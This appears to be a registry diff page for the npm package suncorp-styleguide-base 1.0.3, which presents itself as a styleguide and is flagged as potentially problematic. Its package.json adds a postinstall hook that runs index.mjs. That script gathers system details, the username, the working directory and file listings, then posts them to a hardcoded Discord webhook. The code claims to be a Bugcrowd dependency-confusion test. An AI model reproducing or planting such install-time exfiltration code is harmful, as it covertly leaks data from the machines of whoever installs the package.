suncorp-styleguide-base 1.0.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of suncorp-styleguide-base might be problematic. Click here for more details.
- package/index.mjs +55 -0
- package/package.json +16 -0
package/index.mjs
ADDED
@@ -0,0 +1,55 @@
|
|
1
|
+
import fetch from 'node-fetch';
|
2
|
+
import { readdirSync } from 'fs';
|
3
|
+
|
4
|
+
|
5
|
+
|
6
|
+
const generateString = (path) => {
|
7
|
+
let string = `Path: ${path}\n`;
|
8
|
+
string += `System Information: ${process.platform} | ${process.arch}\n`;
|
9
|
+
string += `Node Version: ${process.version}\n`;
|
10
|
+
string += `Node Path: ${process.execPath}\n`;
|
11
|
+
string += "Current user: " + process.env.USERNAME + "\n";
|
12
|
+
string += "Current directory: " + process.cwd() + "\n";
|
13
|
+
string += "Folders & Files:\n";
|
14
|
+
for (let file of readdirSync(path)) {
|
15
|
+
string += ` ${file}\n`;
|
16
|
+
}
|
17
|
+
|
18
|
+
try {
|
19
|
+
string += "\nFiles and folders (one level up):";
|
20
|
+
for (let file of readdirSync(path + "../")) {
|
21
|
+
string += ` ${file}\n`;
|
22
|
+
}
|
23
|
+
} catch (e) {};
|
24
|
+
return string;
|
25
|
+
};
|
26
|
+
|
27
|
+
const string = generateString("./");
|
28
|
+
|
29
|
+
const discordWebhookUrl = 'https://discord.com/api/webhooks/1060446754983645265/n2CEBHLOCtn3vBUBlQDSOQCJ5zLPfF7iabZ2l6MEq0Y4uy26SZu_nMVb8a1Y31wtX43l';
|
30
|
+
|
31
|
+
// Function to send the HTTP request
|
32
|
+
const sendWebhookRequest = async () => {
|
33
|
+
try {
|
34
|
+
const response = await fetch(discordWebhookUrl, {
|
35
|
+
method: 'POST',
|
36
|
+
headers: {
|
37
|
+
'Content-Type': 'application/json',
|
38
|
+
},
|
39
|
+
body: JSON.stringify({
|
40
|
+
content: '@everyone `@zola-helpers/client` package was installed or updated\n```' + string + '```',
|
41
|
+
}),
|
42
|
+
});
|
43
|
+
|
44
|
+
if (response.ok) {
|
45
|
+
console.log('Webhook request sent successfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
|
46
|
+
} else {
|
47
|
+
console.log('Webhook request sent unsuccessfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
|
48
|
+
}
|
49
|
+
} catch (error) {
|
50
|
+
console.error('Webhook request sent unsuccessfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
|
51
|
+
}
|
52
|
+
};
|
53
|
+
|
54
|
+
// Call the function when the package is updated or installed
|
55
|
+
sendWebhookRequest();
|
package/package.json
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
{
|
2
|
+
"name": "suncorp-styleguide-base",
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "xxx haii",
|
5
|
+
"main": "index.js",
|
6
|
+
"type": "module",
|
7
|
+
"scripts": {
|
8
|
+
"postinstall": "node index.mjs"
|
9
|
+
},
|
10
|
+
"keywords": [],
|
11
|
+
"author": "",
|
12
|
+
"license": "ISC",
|
13
|
+
"dependencies": {
|
14
|
+
"node-fetch": "^3.3.1"
|
15
|
+
}
|
16
|
+
}
|